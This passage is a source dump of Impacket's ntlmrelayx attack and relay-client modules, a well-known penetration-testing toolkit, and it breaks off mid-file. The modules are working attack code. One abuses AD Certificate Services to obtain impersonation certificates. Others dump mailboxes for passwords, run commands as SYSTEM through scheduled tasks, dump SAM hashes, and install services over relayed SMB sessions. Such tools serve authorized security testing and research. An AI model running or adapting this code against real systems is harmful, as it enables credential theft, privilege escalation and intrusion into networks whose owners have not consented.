OpenSSL import crypto 19 | 20 | from impacket import LOG 21 | 22 | # cache already attacked clients 23 | ELEVATED = [] 24 | 25 | 26 | class ADCSAttack: 27 | 28 | def _run(self): 29 | key = crypto.PKey() 30 | key.generate_key(crypto.TYPE_RSA, 4096) 31 | 32 | if self.username in ELEVATED: 33 | LOG.info('Skipping user %s since attack was already performed' % self.username) 34 | return 35 | 36 | current_template = self.config.template 37 | if current_template is None: 38 | current_template = "Machine" if self.username.endswith("$") else "User" 39 | 40 | csr = self.generate_csr(key, self.username, self.config.altName) 41 | csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") 42 | LOG.info("CSR generated!") 43 | 44 | certAttrib = self.generate_certattributes(current_template, self.config.altName) 45 | 46 | data = "Mode=newreq&CertRequest=%s&CertAttrib=%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, certAttrib) 47 | 48 | headers = { 49 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", 50 | "Content-Type": "application/x-www-form-urlencoded", 51 | "Content-Length": len(data) 52 | } 53 | 54 | LOG.info("Getting certificate...") 55 | 56 | self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers) 57 | ELEVATED.append(self.username) 58 | response = self.client.getresponse() 59 | 60 | if response.status != 200: 61 | LOG.error("Error getting certificate! Make sure you have entered valid certiface template.") 62 | return 63 | 64 | content = response.read() 65 | found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode()) 66 | if len(found) == 0: 67 | LOG.error("Error obtaining certificate!") 68 | return 69 | 70 | certificate_id = found[0] 71 | 72 | self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id) 73 | response = self.client.getresponse() 74 | 75 | LOG.info("GOT CERTIFICATE! ID %s" % certificate_id) 76 | certificate = response.read().decode() 77 | 78 | certificate_store = self.generate_pfx(key, certificate) 79 | LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) 80 | 81 | if self.config.altName: 82 | LOG.info("This certificate can also be used for user : {}".format(self.config.altName)) 83 | 84 | def generate_csr(self, key, CN, altName): 85 | LOG.info("Generating CSR...") 86 | req = crypto.X509Req() 87 | req.get_subject().CN = CN 88 | 89 | if altName: 90 | req.add_extensions([crypto.X509Extension(b"subjectAltName", False, b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" % altName.encode() )]) 91 | 92 | 93 | req.set_pubkey(key) 94 | req.sign(key, "sha256") 95 | 96 | return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req) 97 | 98 | def generate_pfx(self, key, certificate): 99 | certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate) 100 | p12 = crypto.PKCS12() 101 | p12.set_certificate(certificate) 102 | p12.set_privatekey(key) 103 | return p12.export() 104 | 105 | def generate_certattributes(self, template, altName): 106 | 107 | if altName: 108 | return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName) 109 | return "CertificateTemplate:{}".format(template) 110 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/attacks/imapattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IMAP Attack Class 11 | # IMAP protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | import re 18 | import os 19 | from impacket import LOG 20 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 21 | 22 | PROTOCOL_ATTACK_CLASS = "IMAPAttack" 23 | 24 | class IMAPAttack(ProtocolAttack): 25 | """ 26 | This is the default IMAP(s) attack. By default it searches the INBOX imap folder 27 | for messages with "password" in the header or body. Alternate keywords can be specified 28 | on the command line. For more advanced attacks, consider using the SOCKS feature. 29 | """ 30 | PLUGIN_NAMES = ["IMAP", "IMAPS"] 31 | def run(self): 32 | #Default action: Search the INBOX 33 | targetBox = self.config.mailbox 34 | result, data = self.client.select(targetBox,True) #True indicates readonly 35 | if result != 'OK': 36 | LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) 37 | LOG.info('Opening mailbox INBOX') 38 | targetBox = 'INBOX' 39 | result, data = self.client.select(targetBox,True) #True indicates readonly 40 | inboxCount = int(data[0]) 41 | LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) 42 | #If we should not dump all, search for the keyword 43 | if not self.config.dump_all: 44 | result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) 45 | #Check if search worked 46 | if result != 'OK': 47 | LOG.error('Search failed: %s' % rawdata) 48 | return 49 | dumpMessages = [] 50 | #message IDs are separated by spaces 51 | for msgs in rawdata: 52 | dumpMessages += msgs.split(' ') 53 | if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: 54 | dumpMessages = dumpMessages[:self.config.dump_max] 55 | else: 56 | #Dump all mails, up to the maximum number configured 57 | if self.config.dump_max == 0 or self.config.dump_max > inboxCount: 58 | dumpMessages = list(range(1, inboxCount+1)) 59 | else: 60 | dumpMessages = list(range(1, self.config.dump_max+1)) 61 | 62 | numMsgs = len(dumpMessages) 63 | if numMsgs == 0: 64 | LOG.info('No messages were found containing the search keywords') 65 | else: 66 | LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) 67 | for i, msgIndex in enumerate(dumpMessages): 68 | #Fetch the message 69 | result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') 70 | if result != 'OK': 71 | LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) 72 | continue 73 | 74 | #Replace any special chars in the mailbox name and username 75 | mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) 76 | textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) 77 | 78 | #Combine username with mailboxname and mail number 79 | fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' 80 | 81 | #Write it to the file 82 | with open(os.path.join(self.config.lootdir,fileName),'w') as of: 83 | of.write(rawMessage[0][1]) 84 | LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) 85 | 86 | #Close connection cleanly 87 | self.client.logout() 88 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/attacks/mssqlattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # MSSQL Attack Class 11 | # MSSQL protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com) 17 | # 18 | from impacket import LOG 19 | from impacket.examples.mssqlshell import SQLSHELL 20 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 21 | 22 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack" 23 | 24 | class MSSQLAttack(ProtocolAttack): 25 | PLUGIN_NAMES = ["MSSQL"] 26 | def run(self): 27 | if self.config.queries is not None: 28 | for query in self.config.queries: 29 | LOG.info('Executing SQL: %s' % query) 30 | self.client.sql_query(query) 31 | self.client.printReplies() 32 | self.client.printRows() 33 | elif self.config.interactive is True: 34 | shell = SQLSHELL(self.client) 35 | shell.cmdloop() 36 | return 37 | else: 38 | LOG.error('No SQL queries specified for MSSQL relay!') 39 | 40 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/attacks/rpcattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Authors: 10 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) 11 | # Based on @agsolino and @_dirkjan code 12 | # 13 | 14 | import time 15 | import string 16 | import random 17 | 18 | from impacket import LOG 19 | from impacket.dcerpc.v5 import tsch 20 | from impacket.dcerpc.v5.dtypes import NULL 21 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 22 | 23 | PROTOCOL_ATTACK_CLASS = "RPCAttack" 24 | 25 | class TSCHRPCAttack: 26 | def _xml_escape(self, data): 27 | replace_table = { 28 | "&": "&", 29 | '"': """, 30 | "'": "'", 31 | ">": ">", 32 | "<": "<", 33 | } 34 | return ''.join(replace_table.get(c, c) for c in data) 35 | 36 | def _run(self): 37 | # Here PUT YOUR CODE! 38 | tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) 39 | 40 | cmd = "cmd.exe" 41 | args = "/C %s" % self.config.command 42 | 43 | LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding)) 44 | 45 | xml = """ 46 | 47 | 48 | 49 | 2015-07-15T20:35:13.2757294 50 | true 51 | 52 | 1 53 | 54 | 55 | 56 | 57 | 58 | S-1-5-18 59 | HighestAvailable 60 | 61 | 62 | 63 | IgnoreNew 64 | false 65 | false 66 | true 67 | false 68 | 69 | true 70 | false 71 | 72 | true 73 | true 74 | true 75 | false 76 | false 77 | P3D 78 | 7 79 | 80 | 81 | 82 | %s 83 | %s 84 | 85 | 86 | 87 | """ % (self._xml_escape(cmd), self._xml_escape(args)) 88 | 89 | LOG.info('Creating task \\%s' % tmpName) 90 | tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) 91 | 92 | LOG.info('Running task \\%s' % tmpName) 93 | done = False 94 | 95 | tsch.hSchRpcRun(self.dce, '\\%s' % tmpName) 96 | 97 | while not done: 98 | LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) 99 | resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\%s' % tmpName) 100 | if resp['pLastRuntime']['wYear'] != 0: 101 | done = True 102 | else: 103 | time.sleep(2) 104 | 105 | LOG.info('Deleting task \\%s' % tmpName) 106 | tsch.hSchRpcDelete(self.dce, '\\%s' % tmpName) 107 | LOG.info('Completed!') 108 | 109 | 110 | class RPCAttack(ProtocolAttack, TSCHRPCAttack): 111 | PLUGIN_NAMES = ["RPC"] 112 | 113 | def __init__(self, config, dce, username): 114 | ProtocolAttack.__init__(self, config, dce, username) 115 | self.dce = dce 116 | self.rpctransport = dce.get_rpc_transport() 117 | self.stringbinding = self.rpctransport.get_stringbinding() 118 | 119 | def run(self): 120 | # Here PUT YOUR CODE! 121 | 122 | # Assume the endpoint is TSCH 123 | # TODO: support relaying RPC to different endpoints 124 | # TODO: support for providing a shell 125 | # TODO: support for getting an output 126 | if self.config.command is not None: 127 | TSCHRPCAttack._run(self) 128 | else: 129 | LOG.error("No command provided to attack") 130 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/attacks/smbattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # SMB Attack Class 11 | # Defines a base class for all attacks + loads all available modules 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell 20 | from impacket import smb3, smb 21 | from impacket.examples import serviceinstall 22 | from impacket.smbconnection import SMBConnection 23 | from impacket.examples.smbclient import MiniImpacketShell 24 | from impacket.dcerpc.v5.rpcrt import DCERPCException 25 | 26 | PROTOCOL_ATTACK_CLASS = "SMBAttack" 27 | 28 | class SMBAttack(ProtocolAttack): 29 | """ 30 | This is the SMB default attack class. 31 | It will either dump the hashes from the remote target, or open an interactive 32 | shell if the -i option is specified. 33 | """ 34 | PLUGIN_NAMES = ["SMB"] 35 | def __init__(self, config, SMBClient, username): 36 | ProtocolAttack.__init__(self, config, SMBClient, username) 37 | if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): 38 | self.__SMBConnection = SMBConnection(existingConnection=SMBClient) 39 | else: 40 | self.__SMBConnection = SMBClient 41 | self.__answerTMP = bytearray() 42 | if self.config.interactive: 43 | #Launch locally listening interactive shell 44 | self.tcpshell = TcpShell() 45 | else: 46 | self.tcpshell = None 47 | if self.config.exeFile is not None: 48 | self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) 49 | 50 | def __answer(self, data): 51 | self.__answerTMP += data 52 | 53 | def run(self): 54 | # Here PUT YOUR CODE! 55 | if self.tcpshell is not None: 56 | LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) 57 | #Start listening and launch interactive shell 58 | self.tcpshell.listen() 59 | self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell) 60 | self.shell.cmdloop() 61 | return 62 | if self.config.exeFile is not None: 63 | result = self.installService.install() 64 | if result is True: 65 | LOG.info("Service Installed.. CONNECT!") 66 | self.installService.uninstall() 67 | else: 68 | from impacket.examples.secretsdump import RemoteOperations, SAMHashes 69 | from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins 70 | samHashes = None 71 | try: 72 | # We have to add some flags just in case the original client did not 73 | # Why? needed for avoiding INVALID_PARAMETER 74 | if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: 75 | flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() 76 | flags2 |= smb.SMB.FLAGS2_LONG_NAMES 77 | self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) 78 | 79 | remoteOps = RemoteOperations(self.__SMBConnection, False) 80 | remoteOps.enableRegistry() 81 | except Exception as e: 82 | if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges 83 | if self.config.enumLocalAdmins: 84 | LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) 85 | enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) 86 | try: 87 | localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() 88 | LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) 89 | for name in localAdminNames: 90 | LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) 91 | except DCERPCException: 92 | LOG.info("SAMR access denied") 93 | return 94 | # Something else went wrong. aborting 95 | LOG.error(str(e)) 96 | return 97 | 98 | try: 99 | if self.config.command is not None: 100 | remoteOps._RemoteOperations__executeRemote(self.config.command) 101 | LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) 102 | self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 103 | self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') 104 | print(self.__answerTMP.decode(self.config.encoding, 'replace')) 105 | else: 106 | bootKey = remoteOps.getBootKey() 107 | remoteOps._RemoteOperations__serviceDeleted = True 108 | samFileName = remoteOps.saveSAM() 109 | samHashes = SAMHashes(samFileName, bootKey, isRemote = True) 110 | samHashes.dump() 111 | samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') 112 | LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) 113 | except Exception as e: 114 | LOG.error(str(e)) 115 | finally: 116 | if samHashes is not None: 117 | samHashes.finish() 118 | if remoteOps is not None: 119 | remoteOps.finish() 120 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/clients/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Protocol Client Base Class definition 11 | # Defines a base class for all clients + loads all available modules 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | import os, sys, pkg_resources 17 | from impacket import LOG 18 | 19 | PROTOCOL_CLIENTS = {} 20 | 21 | # Base class for Protocol Clients for different protocols (SMB, MSSQL, etc) 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin for protocol clients: 24 | # PROTOCOL_CLIENT_CLASS = "" 25 | # PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 26 | class ProtocolClient: 27 | PLUGIN_NAME = 'PROTOCOL' 28 | def __init__(self, serverConfig, target, targetPort, extendedSecurity=True): 29 | self.serverConfig = serverConfig 30 | self.targetHost = target.hostname 31 | # A default target port is specified by the subclass 32 | if target.port is not None: 33 | # We override it by the one specified in the target 34 | self.targetPort = target.port 35 | else: 36 | self.targetPort = targetPort 37 | self.target = target 38 | self.extendedSecurity = extendedSecurity 39 | self.session = None 40 | self.sessionData = {} 41 | 42 | def initConnection(self): 43 | raise RuntimeError('Virtual Function') 44 | 45 | def killConnection(self): 46 | raise RuntimeError('Virtual Function') 47 | 48 | def sendNegotiate(self, negotiateMessage): 49 | """ 50 | Charged of sending the type 1 NTLM Message 51 | 52 | :param bytes negotiateMessage: 53 | :return: 54 | """ 55 | raise RuntimeError('Virtual Function') 56 | 57 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 58 | """ 59 | Charged of sending the type 3 NTLM Message to the Target 60 | 61 | :param bytes authenticateMessageBlob: 62 | :param bytes serverChallenge: 63 | :return: 64 | """ 65 | raise RuntimeError('Virtual Function') 66 | 67 | def sendStandardSecurityAuth(self, sessionSetupData): 68 | # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set 69 | raise RuntimeError('Virtual Function') 70 | 71 | def getSession(self): 72 | # Should return the active session for the relayed connection 73 | raise RuntimeError('Virtual Function') 74 | 75 | def getSessionData(self): 76 | # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the 77 | # answers from the original server) 78 | return self.sessionData 79 | 80 | def getStandardSecurityChallenge(self): 81 | # Should return the Challenge returned by the server when Extended Security is not set 82 | # This should only happen with against old Servers. By default we return None 83 | return None 84 | 85 | def keepAlive(self): 86 | # Charged of keeping connection alive 87 | raise RuntimeError('Virtual Function') 88 | 89 | def isAdmin(self): 90 | # Should return whether or not the user is admin in the form of a string (e.g. "TRUE", "FALSE") 91 | # Depending on the protocol, different techniques should be used. 92 | # By default, raise exception 93 | raise RuntimeError('Virtual Function') 94 | 95 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'clients'): 96 | if file.find('__') >= 0 or file.endswith('.py') is False: 97 | continue 98 | # This seems to be None in some case (py3 only) 99 | # __spec__ is py3 only though, but I haven't seen this being None on py2 100 | # so it should cover all cases. 101 | try: 102 | package = __spec__.name # Python 3 103 | except NameError: 104 | package = __package__ # Python 2 105 | __import__(package + '.' + os.path.splitext(file)[0]) 106 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 107 | try: 108 | pluginClasses = set() 109 | try: 110 | if hasattr(module,'PROTOCOL_CLIENT_CLASSES'): 111 | for pluginClass in module.PROTOCOL_CLIENT_CLASSES: 112 | pluginClasses.add(getattr(module, pluginClass)) 113 | else: 114 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS'))) 115 | except Exception as e: 116 | LOG.debug(e) 117 | pass 118 | 119 | for pluginClass in pluginClasses: 120 | LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME) 121 | PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass 122 | except Exception as e: 123 | LOG.debug(str(e)) 124 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/clients/httprelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # HTTP Protocol Client 11 | # HTTP(s) client for relaying NTLMSSP authentication to webservers 12 | # 13 | # Author: 14 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 15 | # Alberto Solino (@agsolino) 16 | # 17 | import re 18 | import ssl 19 | try: 20 | from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady 21 | except ImportError: 22 | from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady 23 | import base64 24 | 25 | from struct import unpack 26 | from impacket import LOG 27 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 28 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 29 | from impacket.ntlm import NTLMAuthChallenge 30 | from impacket.spnego import SPNEGO_NegTokenResp 31 | 32 | PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"] 33 | 34 | class HTTPRelayClient(ProtocolClient): 35 | PLUGIN_NAME = "HTTP" 36 | 37 | def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ): 38 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 39 | self.extendedSecurity = extendedSecurity 40 | self.negotiateMessage = None 41 | self.authenticateMessageBlob = None 42 | self.server = None 43 | self.authenticationMethod = None 44 | 45 | def initConnection(self): 46 | self.session = HTTPConnection(self.targetHost,self.targetPort) 47 | self.lastresult = None 48 | if self.target.path == '': 49 | self.path = '/' 50 | else: 51 | self.path = self.target.path 52 | return True 53 | 54 | def sendNegotiate(self,negotiateMessage): 55 | #Check if server wants auth 56 | self.session.request('GET', self.path) 57 | res = self.session.getresponse() 58 | res.read() 59 | if res.status != 401: 60 | LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) 61 | try: 62 | if 'NTLM' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'): 63 | LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) 64 | return False 65 | if 'NTLM' in res.getheader('WWW-Authenticate'): 66 | self.authenticationMethod = "NTLM" 67 | elif 'Negotiate' in res.getheader('WWW-Authenticate'): 68 | self.authenticationMethod = "Negotiate" 69 | except (KeyError, TypeError): 70 | LOG.error('No authentication requested by the server for url %s' % self.targetHost) 71 | if self.serverConfig.isADCSAttack: 72 | LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways') 73 | self.authenticationMethod = "NTLM" 74 | else: 75 | return False 76 | 77 | #Negotiate auth 78 | negotiate = base64.b64encode(negotiateMessage).decode("ascii") 79 | headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)} 80 | self.session.request('GET', self.path ,headers=headers) 81 | res = self.session.getresponse() 82 | res.read() 83 | try: 84 | serverChallengeBase64 = re.search(('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1) 85 | serverChallenge = base64.b64decode(serverChallengeBase64) 86 | challenge = NTLMAuthChallenge() 87 | challenge.fromString(serverChallenge) 88 | return challenge 89 | except (IndexError, KeyError, AttributeError): 90 | LOG.error('No NTLM challenge returned from server') 91 | return False 92 | 93 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 94 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 95 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 96 | token = respToken2['ResponseToken'] 97 | else: 98 | token = authenticateMessageBlob 99 | auth = base64.b64encode(token).decode("ascii") 100 | headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)} 101 | self.session.request('GET', self.path,headers=headers) 102 | res = self.session.getresponse() 103 | if res.status == 401: 104 | return None, STATUS_ACCESS_DENIED 105 | else: 106 | LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status) 107 | #Cache this 108 | self.lastresult = res.read() 109 | return None, STATUS_SUCCESS 110 | 111 | def killConnection(self): 112 | if self.session is not None: 113 | self.session.close() 114 | self.session = None 115 | 116 | def keepAlive(self): 117 | # Do a HEAD for favicon.ico 118 | self.session.request('HEAD','/favicon.ico') 119 | self.session.getresponse() 120 | 121 | class HTTPSRelayClient(HTTPRelayClient): 122 | PLUGIN_NAME = "HTTPS" 123 | 124 | def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ): 125 | HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 126 | 127 | def initConnection(self): 128 | self.lastresult = None 129 | if self.target.path == '': 130 | self.path = '/' 131 | else: 132 | self.path = self.target.path 133 | try: 134 | uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) 135 | self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context) 136 | except AttributeError: 137 | self.session = HTTPSConnection(self.targetHost,self.targetPort) 138 | return True 139 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/clients/imaprelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IMAP Protocol Client 11 | # IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 12 | # 13 | # Author: 14 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 15 | # Alberto Solino (@agsolino) 16 | # 17 | import imaplib 18 | import base64 19 | from struct import unpack 20 | 21 | from impacket import LOG 22 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 23 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 24 | from impacket.ntlm import NTLMAuthChallenge 25 | from impacket.spnego import SPNEGO_NegTokenResp 26 | 27 | PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 28 | 29 | class IMAPRelayClient(ProtocolClient): 30 | PLUGIN_NAME = "IMAP" 31 | 32 | def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 33 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 34 | 35 | def initConnection(self): 36 | self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 37 | self.authTag = self.session._new_tag() 38 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 39 | if 'AUTH=NTLM' not in self.session.capabilities: 40 | LOG.error('IMAP server does not support NTLM authentication!') 41 | return False 42 | return True 43 | 44 | def sendNegotiate(self,negotiateMessage): 45 | negotiate = base64.b64encode(negotiateMessage) 46 | self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 47 | resp = self.session.readline().strip() 48 | if resp != '+': 49 | LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 50 | return False 51 | else: 52 | self.session.send(negotiate + imaplib.CRLF) 53 | try: 54 | serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 55 | serverChallenge = base64.b64decode(serverChallengeBase64) 56 | challenge = NTLMAuthChallenge() 57 | challenge.fromString(serverChallenge) 58 | return challenge 59 | except (IndexError, KeyError, AttributeError): 60 | LOG.error('No NTLM challenge returned from IMAP server') 61 | raise 62 | 63 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 64 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 65 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 66 | token = respToken2['ResponseToken'] 67 | else: 68 | token = authenticateMessageBlob 69 | auth = base64.b64encode(token) 70 | self.session.send(auth + imaplib.CRLF) 71 | typ, data = self.session._get_tagged_response(self.authTag) 72 | if typ == 'OK': 73 | self.session.state = 'AUTH' 74 | return None, STATUS_SUCCESS 75 | else: 76 | LOG.error('IMAP: %s' % ' '.join(data)) 77 | return None, STATUS_ACCESS_DENIED 78 | 79 | def killConnection(self): 80 | if self.session is not None: 81 | self.session.logout() 82 | self.session = None 83 | 84 | def keepAlive(self): 85 | # Send a NOOP 86 | self.session.noop() 87 | 88 | class IMAPSRelayClient(IMAPRelayClient): 89 | PLUGIN_NAME = "IMAPS" 90 | 91 | def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 92 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 93 | 94 | def initConnection(self): 95 | self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 96 | self.authTag = self.session._new_tag() 97 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 98 | if 'AUTH=NTLM' not in self.session.capabilities: 99 | LOG.error('IMAP server does not support NTLM authentication!') 100 | return False 101 | return True 102 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # 